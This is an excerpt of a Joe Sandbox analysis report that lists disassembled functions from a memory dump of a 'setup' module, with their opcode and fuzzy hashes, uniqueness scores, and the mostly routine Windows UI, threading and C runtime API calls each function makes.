Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: ee3691c63750d0237aa4e5eab5fc64cc46c1651606339d0d45c6bff9203a4b6c
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 5EC1AF73C1A9F30A8776C16E656816EEEA2AFD169036BC3E1CCD43F28DD2275D0496D0

Uniqueness

Uniqueness Score: -1.00%

Function 10021EA9 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: d8d84a3334a4ccce040cca9697698496fc1ac06721c4a1b1ef0d70a6b3a368e9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: EFC1CF77C1A9F30A8775C16E555866FEEA2AFD168036BC3E08CE43F28DD6275D0492D0

Uniqueness

Uniqueness Score: -1.00%

Function 100081D0 Relevance: 19.8, APIs: 13, Instructions: 314COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 10008233
GetDlgItem.USER32(?,000003ED), ref: 1000824B
GetDlgItem.USER32(00000000,000003E9), ref: 10008263
GetDlgItem.USER32(?,00000005), ref: 10008278
GetDlgItem.USER32(?,00000004), ref: 1000828D
GetDlgItem.USER32(00000000,00000003), ref: 100082A2
GetDlgItem.USER32(00000400,00000004), ref: 1000835A
GetDlgItem.USER32(00000400,00000005), ref: 100083BF
GetDlgItem.USER32(00000400,00000003), ref: 10008424
GetDlgItem.USER32(00000400,000003EC), ref: 100084C5
SetWindowTextW.USER32(00000000), ref: 100084CC
GetDlgItem.USER32(00000400,000003ED), ref: 10008581
SetWindowTextW.USER32(00000000), ref: 10008588

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Item$TextWindow
String ID:
API String ID: 4159597273-0
Opcode ID: cf9240ee546b9549e02d2ce7a970709ca3b427b08633f8d07a2583727480f05a
Instruction ID: d90b6b245e80e7b438b1392f255b0277f170bb1ad66301e690c0dda43a5fafcf
Opcode Fuzzy Hash: cf9240ee546b9549e02d2ce7a970709ca3b427b08633f8d07a2583727480f05a
Instruction Fuzzy Hash: 8CC19AB5504340AFEB10EF64CC89F5BB7A9FB88740F50491EF6859B281CB75E906CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1001A998 Relevance: 19.6, APIs: 13, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(1002DCB0,?,10017041), ref: 1001A99E
__mtterm.LIBCMT ref: 1001A9AA

Part of subcall function 1001A682: __decode_pointer.LIBCMT ref: 1001A693
Part of subcall function 1001A682: TlsFree.KERNEL32(10034274,100170DD), ref: 1001A6AD

TlsAlloc.KERNEL32 ref: 1001AA37
__init_pointers.LIBCMT ref: 1001AA5C
__encode_pointer.LIBCMT ref: 1001AA67
__encode_pointer.LIBCMT ref: 1001AA77
__encode_pointer.LIBCMT ref: 1001AA87
__encode_pointer.LIBCMT ref: 1001AA97
__decode_pointer.LIBCMT ref: 1001AAB8
__calloc_crt.LIBCMT ref: 1001AAD1
__decode_pointer.LIBCMT ref: 1001AAEB
GetCurrentThreadId.KERNEL32 ref: 1001AB01

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThread__calloc_crt__init_pointers__mtterm
String ID:
API String ID: 802150526-0
Opcode ID: 77bfa07764ed1b3f2209af6693d84df0119747320c378b3c2f1fa3369d1063f5
Instruction ID: a6f27df6961955168b74ffd5b6c6923d506fa763491db916df12e9a3f6d2876d
Opcode Fuzzy Hash: 77bfa07764ed1b3f2209af6693d84df0119747320c378b3c2f1fa3369d1063f5
Instruction Fuzzy Hash: 2031D335914371AEEB06EF349D86A053AE6EB42396B61012BF4009E1B3DBB2DDC1CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10018A19 Relevance: 15.1, APIs: 10, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 10018A2F

Part of subcall function 10019173: __calloc_impl.LIBCMT ref: 10019181
Part of subcall function 10019173: Sleep.KERNEL32(00000000), ref: 10019198

__calloc_crt.LIBCMT ref: 10018A52
__calloc_crt.LIBCMT ref: 10018A6E
__copytlocinfo_nolock.LIBCMT ref: 10018A93
__setlocale_nolock.LIBCMT ref: 10018AA2
___removelocaleref.LIBCMT ref: 10018AAE
___freetlocinfo.LIBCMT ref: 10018AB5
__setmbcp_nolock.LIBCMT ref: 10018ACD
___removelocaleref.LIBCMT ref: 10018AE2
___freetlocinfo.LIBCMT ref: 10018AE9

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __calloc_crt$___freetlocinfo___removelocaleref$Sleep__calloc_impl__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2969281212-0
Opcode ID: 67cb6fda7c273e75f5c91c709d70bf0c7129cc6810b2223e9389606dbc26ae68
Instruction ID: 6be3e98cece85592ac861de0b6210510e86832f343650200795cffbd614202ea
Opcode Fuzzy Hash: 67cb6fda7c273e75f5c91c709d70bf0c7129cc6810b2223e9389606dbc26ae68
Instruction Fuzzy Hash: 76219279108242AFFA26DF64DC0291EBBE5EF84751F21441EF8849E162EF71EEC08752

Uniqueness

Uniqueness Score: -1.00%

Function 1001CD39 Relevance: 13.8, APIs: 9, Instructions: 277COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 1001CC75
__malloc_crt.LIBCMT ref: 1001CD4F

Part of subcall function 10019133: _malloc.LIBCMT ref: 1001913B
Part of subcall function 10019133: Sleep.KERNEL32(00000000,00000001,?,1001D343,00000018,10030D18,0000000C,1001D3D2,?,?,?,100233DA,00000004,10030F18,0000000C,10019186), ref: 10019150

__decode_pointer.LIBCMT ref: 1001CD9D
__decode_pointer.LIBCMT ref: 1001CDC4
__decode_pointer.LIBCMT ref: 1001CDE4
_write_multi_char.LIBCMT ref: 1001CFD7
_write_string.LIBCMT ref: 1001CFEB
_write_multi_char.LIBCMT ref: 1001D004

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __decode_pointer$_write_multi_char$Sleep__malloc_crt_malloc_strlen_write_string
String ID:
API String ID: 785859804-0
Opcode ID: b36365ef274d595e5e009ac3952a8a936ae2a2d972d8fcd5712580348aeb0e21
Instruction ID: 1da8678e1d1edb4dd74044e590032a998826e6e6d125c6a2688f4f7df2886106
Opcode Fuzzy Hash: b36365ef274d595e5e009ac3952a8a936ae2a2d972d8fcd5712580348aeb0e21
Instruction Fuzzy Hash: 10B15871C0021E9ADB11EFA4D985BEDBBF4EF08354F20402AE805BE291D775DAC5CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001CCA2 Relevance: 12.3, APIs: 8, Instructions: 325COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 1001CFD7
_write_string.LIBCMT ref: 1001CFEB
_write_multi_char.LIBCMT ref: 1001D004
_write_multi_char.LIBCMT ref: 1001D082

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: _write_multi_char$_write_string
String ID:
API String ID: 2640999400-0
Opcode ID: 1211a15c03ccd78a407de36d322ff4764b6374c79448135f321bba0a2431f47f
Instruction ID: 658c7c3f94c38e62fce2abc14e207fbff29e5dbef90dfa3455e5b4fefe10a57e
Opcode Fuzzy Hash: 1211a15c03ccd78a407de36d322ff4764b6374c79448135f321bba0a2431f47f
Instruction Fuzzy Hash: 62C15871C0025E9ADB11DFA4C985BEDBBF4EB08358F20402AE905BE291D775DEC5CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001604E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 10016081
__calloc_crt.LIBCMT ref: 1001608D
CreateThread.KERNEL32(00000000,?,`F,00000000,00000004,00000000), ref: 100160C0
ResumeThread.KERNEL32(00000000), ref: 100160D0
GetLastError.KERNEL32 ref: 100160DB
__dosmaperr.LIBCMT ref: 100160F3

Part of subcall function 100177C4: __getptd_noexit.LIBCMT ref: 100177C4

Part of subcall function 1001620B: __decode_pointer.LIBCMT ref: 10016214

Strings

`F, xrefs: 10015FDA, 100160B1

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd_noexit
String ID: `F
API String ID: 4018905736-510860190
Opcode ID: e5029b0ab16c5fefcb9aa95d2cb06d6275a5c5849daf7750417263052e85ab48
Instruction ID: a6cc9a8803a58b07c0cdb89747a902216aba93adc943b31b7f6550f4a3dc1f1e
Opcode Fuzzy Hash: e5029b0ab16c5fefcb9aa95d2cb06d6275a5c5849daf7750417263052e85ab48
Instruction Fuzzy Hash: 91113175901210BFDB21EFB48C8688FBBA8FF48374B21022AF5159F1D1DB71E9C18660

Uniqueness

Uniqueness Score: -1.00%

Function 1001CCD6 Relevance: 12.3, APIs: 8, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8c255139e5d474570061d1aadedec86ecc02d3efda8078ce6c254de5850919
Instruction ID: 074fed0a38aff72566bbe03f2808f0e4e80eeb84b875cca63601fdc777343f46
Opcode Fuzzy Hash: ac8c255139e5d474570061d1aadedec86ecc02d3efda8078ce6c254de5850919
Instruction Fuzzy Hash: 8AA16971C0025E9ADB11EFA4D984BEDBBF4EF08354F20402AE805BE191D775DAC6DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1001CCEE Relevance: 12.3, APIs: 8, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d521a94620a0ed89f8b87df2878b76e61da765f1dab21d671b29ec244e41150c
Instruction ID: b7c35f3b66037c805eb5449063391554bce262784df755f4fad8970b0abf8de0
Opcode Fuzzy Hash: d521a94620a0ed89f8b87df2878b76e61da765f1dab21d671b29ec244e41150c
Instruction Fuzzy Hash: 69A15871C0021E9ADB11EFA8D984BEDBBF4EF08354F20402AE805BE291D775DAC5DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1001CD25 Relevance: 12.3, APIs: 8, Instructions: 264COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 1001CC75
__decode_pointer.LIBCMT ref: 1001CD9D
__decode_pointer.LIBCMT ref: 1001CDC4
__decode_pointer.LIBCMT ref: 1001CDE4
_write_multi_char.LIBCMT ref: 1001CFD7
_write_string.LIBCMT ref: 1001CFEB
_write_multi_char.LIBCMT ref: 1001D004

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __decode_pointer$_write_multi_char$_strlen_write_string
String ID:
API String ID: 4088299054-0
Opcode ID: 476dfb1d33abe52d8b62a583c15a02e3f0764789bb2d6fe9871f939d93c3d602
Instruction ID: c2b070dd03d82076a5df1495e61f3aa54dab514c14bbc563e68e0c9d8bdd64a3
Opcode Fuzzy Hash: 476dfb1d33abe52d8b62a583c15a02e3f0764789bb2d6fe9871f939d93c3d602
Instruction Fuzzy Hash: 6BA16871C0021E9ADF11EFA4D984BEDBBF4EB08358F20402AE805BE191D775DAC5DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10011610 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 10011642
SelectObject.GDI32(00000000), ref: 10011685
GetTextExtentPoint32W.GDI32(00000000,?,?,?), ref: 100116BE
ReleaseDC.USER32(0000000F,00000000), ref: 100116C6
GetWindowRect.USER32(0000000F,1003424C), ref: 100116D2
GetParent.USER32(0000000F), ref: 100116E0
MapWindowPoints.USER32(00000000,00000000,?,?), ref: 100116E9
MoveWindow.USER32(0000000F,?,0000000F,?,?,00000000,?,?,1002FD60,00000009), ref: 1001170A

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$ExtentMoveObjectParentPoint32PointsRectReleaseSelectText
String ID:
API String ID: 2456833781-0
Opcode ID: b58fe5e0255bbc3348541ca4579eccea998ed2d1821441d5288f18be9d2b23ea
Instruction ID: 365b987599f97103a401181fa88c4ba4a201618a1f30d8a86e763ed73dc29309
Opcode Fuzzy Hash: b58fe5e0255bbc3348541ca4579eccea998ed2d1821441d5288f18be9d2b23ea
Instruction Fuzzy Hash: 59313AB5108340AFE304DF54CC89F6BBBF9EB89701F00491DF69686290DB75E949CB62

Uniqueness

Uniqueness Score: -1.00%

Function 10012020 Relevance: 10.8, APIs: 7, Instructions: 269windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,0000000A,1002FD3C,0000000A,?,?,?,?,?,?,?,?,0000000A), ref: 100120F5
EnableWindow.USER32(?), ref: 100121D5

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

EnableWindow.USER32(?,00000001), ref: 1001211B
ShowWindow.USER32(?,00000005,0000000A,1002FD7C,0000000C,0000000A,1002FD7C,0000000C,0000000A,1002FD30,0000000A), ref: 10012296
EnableWindow.USER32(?,00000001), ref: 100122BC
EnableWindow.USER32(?), ref: 10012376
SendMessageW.USER32(?,0000040A,00000000,00000000), ref: 100123D4

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Enable$Show$MessageSend_memcpy_s
String ID:
API String ID: 319832689-0
Opcode ID: 05db17c30aaa694011525a0944a1fa5599d3b02f0a5888503c3f01cc32dbcae2
Instruction ID: 70297975ae46391a4611124d9420377f8ef106a5a04cd59ae07ca0002d42610a
Opcode Fuzzy Hash: 05db17c30aaa694011525a0944a1fa5599d3b02f0a5888503c3f01cc32dbcae2
Instruction Fuzzy Hash: 23B166B0508381AFD300DF64C894A5BBBE5EF98744F404A1DF1A54B291DBB5E989CF63

Uniqueness

Uniqueness Score: -1.00%

Function 10015AA3 Relevance: 10.6, APIs: 7, Instructions: 137COMMON

Download Yara Rule

APIs

____lc_handle_func.LIBCMT ref: 10015AD4
____lc_codepage_func.LIBCMT ref: 10015ADC
__GetLocaleForCP.LIBCPMT ref: 10015B05
MultiByteToWideChar.KERNEL32(?,00000009,?,00000002,?,00000000), ref: 10015B3A
___pctype_func.LIBCMT ref: 10015B6D
MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,?,00000000), ref: 10015BD0
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000), ref: 10015C01

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ByteCharMultiWide$Locale____lc_codepage_func____lc_handle_func___pctype_func
String ID:
API String ID: 291276006-0
Opcode ID: f7666b4b8f5f8476db1ac35d0d639a4e25868a1555b767a2da24d8a53b4be136
Instruction ID: 95aa83d7133822fa35f213ed1bb5801f1d9836910d5fe9e55b547dc0f0a07bd0
Opcode Fuzzy Hash: f7666b4b8f5f8476db1ac35d0d639a4e25868a1555b767a2da24d8a53b4be136
Instruction Fuzzy Hash: 17418271108246EEDB21CF20C8C1B5A3BE8FF013A2F2D851AF8548E191E772E9D0DB51

Uniqueness

Uniqueness Score: -1.00%

Function 10011CA0 Relevance: 9.2, APIs: 6, Instructions: 240COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,0000000A,1002FD3C,0000000A,?,?,?,?,?,?,?,?,0000000A), ref: 10011D74
EnableWindow.USER32(?,00000000), ref: 10011E4D

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

EnableWindow.USER32(?,00000000), ref: 10011D99
ShowWindow.USER32(?,00000000,0000000A,1002FD7C,0000000C,0000000A,1002FD7C,0000000C,0000000A,1002FD30,0000000A), ref: 10011F0D
EnableWindow.USER32(?,00000000), ref: 10011F32
EnableWindow.USER32(?,00000000), ref: 10011FE6

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Enable$Show$_memcpy_s
String ID:
API String ID: 3980216484-0
Opcode ID: 341bb5b0baf654347adb56bf7cf638f68406970b44fbdb8cc61e519d0c3d8b05
Instruction ID: cf9ef89f6dd81f9a3b295782e13c24bbb108f5d2743206de0f94cdbe79c2d839
Opcode Fuzzy Hash: 341bb5b0baf654347adb56bf7cf638f68406970b44fbdb8cc61e519d0c3d8b05
Instruction Fuzzy Hash: 03A169B0508381AFD304DF58D894A5BBBE9EF88344F404A2DF1A54B291DBB5E949CF93

Uniqueness

Uniqueness Score: -1.00%

Function 100115A0 Relevance: 9.0, APIs: 6, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 100115A4
SetWindowLongW.USER32(?,000000F0,00000000), ref: 100115BA
SendMessageW.USER32(?,0000040A,00000001,0000001E), ref: 100115CA
SendMessageW.USER32(?,0000040A,00000000,00000000), ref: 100115DE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 100115EB
RedrawWindow.USER32(?,00000000,00000000,00000301), ref: 100115FB

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Long$MessageSend$Redraw
String ID:
API String ID: 3943020483-0
Opcode ID: 6e0fa1797f8b33799c87c708e47c8f07552f8a8d4d201ec70065628c619f56ca
Instruction ID: 12809ebe4bb4be9faaa38a2f221fea71315ac69183fc6af444e071afd0e820f3
Opcode Fuzzy Hash: 6e0fa1797f8b33799c87c708e47c8f07552f8a8d4d201ec70065628c619f56ca
Instruction Fuzzy Hash: CDF0A77158823076F62163105CCEFEB2D259B56F73F314206F715784E0CBE418539269

Uniqueness

Uniqueness Score: -1.00%

Function 1000F010 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1000F03B
std::_Lockit::_Lockit.LIBCPMT ref: 1000F061
__CxxThrowException@8.LIBCMT ref: 1000F0F5
std::_Lockit::_Lockit.LIBCPMT ref: 1000F10A
std::locale::facet::facet_Register.LIBCPMT ref: 1000F127

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8RegisterThrowstd::locale::facet::facet_
String ID:
API String ID: 1988240374-0
Opcode ID: 88f1725d30e76e651ae4c3c405e87a3d6c66aae2df1dc1fb0384dae8fcf9c673
Instruction ID: 69607ac0a36914a34f954432bf053593c0d244222ee4bf07b9bf8a602e25d8da
Opcode Fuzzy Hash: 88f1725d30e76e651ae4c3c405e87a3d6c66aae2df1dc1fb0384dae8fcf9c673
Instruction Fuzzy Hash: 3A31AC75505211CFE301CF24C881B9A73E0EB447A1F55465EF8A6AF6A2DB32F885CF82

Uniqueness

Uniqueness Score: -1.00%

Function 100119E0 Relevance: 6.2, APIs: 4, Instructions: 193windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,?,1002FD3C,0000000A), ref: 10011AA5
ShowWindow.USER32(?,00000000,?,1002FD7C,0000000C,?,00000000,?,1002FD3C,0000000A), ref: 10011AFB
EnableWindow.USER32(?,00000001), ref: 10011BAE

Part of subcall function 10005580: _memcpy_s.LIBCMT ref: 10005621

SendMessageW.USER32(0000000C,00000111,00000000), ref: 10011C41

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$Show$EnableMessageSend_memcpy_s
String ID:
API String ID: 2142818531-0
Opcode ID: 5e10158f3abe846885322613e3c36518130cd84edeb6ee11b16ce95f2ad9bfe5
Instruction ID: c77ea82d2ec4123865e5b06f03d322ab44f2e88015c32df094105da2ed7694c3
Opcode Fuzzy Hash: 5e10158f3abe846885322613e3c36518130cd84edeb6ee11b16ce95f2ad9bfe5
Instruction Fuzzy Hash: 7C7169B4509780AFD314DF64C885A5BFBE9EB99740F800A2EF2A1472A1DBB4D844CF53

Uniqueness

Uniqueness Score: -1.00%

Function 100259E3 Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10025A13
__isleadbyte_l.LIBCMT ref: 10025A47
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,?,?,?,1001BEA8,?,?,00000002), ref: 10025A78
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,?,?,?,1001BEA8,?,?,00000002), ref: 10025AE6

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 779e7d33b9541bfb64b5fc2f64f9bf6b5efe3c2a1d130c56c8b075eb8ff8699e
Instruction ID: fc065e40f2b10d99558e67bc2981429e5b45d363ccbf6bb4f39c87f48c76dea3
Opcode Fuzzy Hash: 779e7d33b9541bfb64b5fc2f64f9bf6b5efe3c2a1d130c56c8b075eb8ff8699e
Instruction Fuzzy Hash: D9311431510286EFDB10CFA0D8C2AAE3BF5FF00252F9186A9E4528B0D1E332DD40CB56

Uniqueness

Uniqueness Score: -1.00%

Function 1000C740 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 1000C78D

Part of subcall function 100172FB: RaiseException.KERNEL32(?,?,100163B9,0000001B,?,?,?,?,100163B9,0000001B,10031154,10035B80), ref: 1001733B

__CxxThrowException@8.LIBCMT ref: 1000C7D1
__CxxThrowException@8.LIBCMT ref: 1000C815
__CxxThrowException@8.LIBCMT ref: 1000C854

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID:
API String ID: 3476068407-0
Opcode ID: 4bdd9ec3c7e2989ced90ec6dd1cbeed609424f583945d4b21bf4d64f85c05a21
Instruction ID: 970580fd9f4fb8637838362f685a7036e4f7ce5e8f09dc723077c7b205c464d5
Opcode Fuzzy Hash: 4bdd9ec3c7e2989ced90ec6dd1cbeed609424f583945d4b21bf4d64f85c05a21
Instruction Fuzzy Hash: F5314AB5018788AED311CF64DC41FDBB7E8FF89380F808A1CF69986192EB74A545CB56

Uniqueness

Uniqueness Score: -1.00%

Function 10015FCE Relevance: 6.1, APIs: 4, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1001AE7A: _doexit.LIBCMT ref: 1001AE82

___set_flsgetvalue.LIBCMT ref: 10015FDA

Part of subcall function 1001A63F: TlsGetValue.KERNEL32(1001A782,?,?,10001AD3,?), ref: 1001A645
Part of subcall function 1001A63F: __decode_pointer.LIBCMT ref: 1001A655
Part of subcall function 1001A63F: TlsSetValue.KERNEL32(00000000,?,10001AD3,?), ref: 1001A662

Part of subcall function 1001A624: TlsGetValue.KERNEL32(?,10015FEA,00000000,?), ref: 1001A62E

__freefls@4.LIBCMT ref: 10016025

Part of subcall function 1001A669: __decode_pointer.LIBCMT ref: 1001A677

GetLastError.KERNEL32(00000000,?,00000000,?), ref: 10016001
RtlExitUserThread.NTDLL(00000000), ref: 10016008

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Value$__decode_pointer$ErrorExitLastThreadUser___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 470431776-0
Opcode ID: c6ddff217bd9dcd0928945d4b8938243752554259bf409bc15fae426fdb482d5
Instruction ID: 03ead3322f4582f10db39b825c74f10941e86ac671a8896d89692834ae123982
Opcode Fuzzy Hash: c6ddff217bd9dcd0928945d4b8938243752554259bf409bc15fae426fdb482d5
Instruction Fuzzy Hash: FF11A7B9500201AFD704EFA5CD8594F7BE9EF49204F218466F9088F162DB35ECC3DA51

Uniqueness

Uniqueness Score: -1.00%

Function 10008710 Relevance: 6.1, APIs: 4, Instructions: 57windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 10008733
LoadIconW.USER32(00000000,00007F03), ref: 10008751
SendMessageW.USER32(00000000), ref: 10008770
ShowWindow.USER32(00000000), ref: 1000878E

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: DialogIconLoadMessageSendShowWindow
String ID:
API String ID: 308795921-0
Opcode ID: 571ff1f7cdf3a00e104c138906a61bc1d74ba05420b078774c0866de41e6df19
Instruction ID: c8b3ac1def077a1afa6e90268c8b7f9677d5907aa4c780b59e039311b864e218
Opcode Fuzzy Hash: 571ff1f7cdf3a00e104c138906a61bc1d74ba05420b078774c0866de41e6df19
Instruction Fuzzy Hash: 65117C79604620AFF201AB24CC8AF6B37A9FB89B45F20850AF5419B2D5C7B4D942CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10024AD9 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 10024AFD

Part of subcall function 10024928: __fltout2.LIBCMT ref: 10024952

__cftog_l.LIBCMT ref: 10024B23
__cftoe_l.LIBCMT ref: 10024B55

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 9e8e0e8e05aac1d0c2d65642af544b24153418be173f2fc037f02c316d8a234c
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: B9013D3640014ABBCF129E84EC41DEE3F72FB19291B968415FE2959031DB76DAB1AB81

Uniqueness

Uniqueness Score: -1.00%

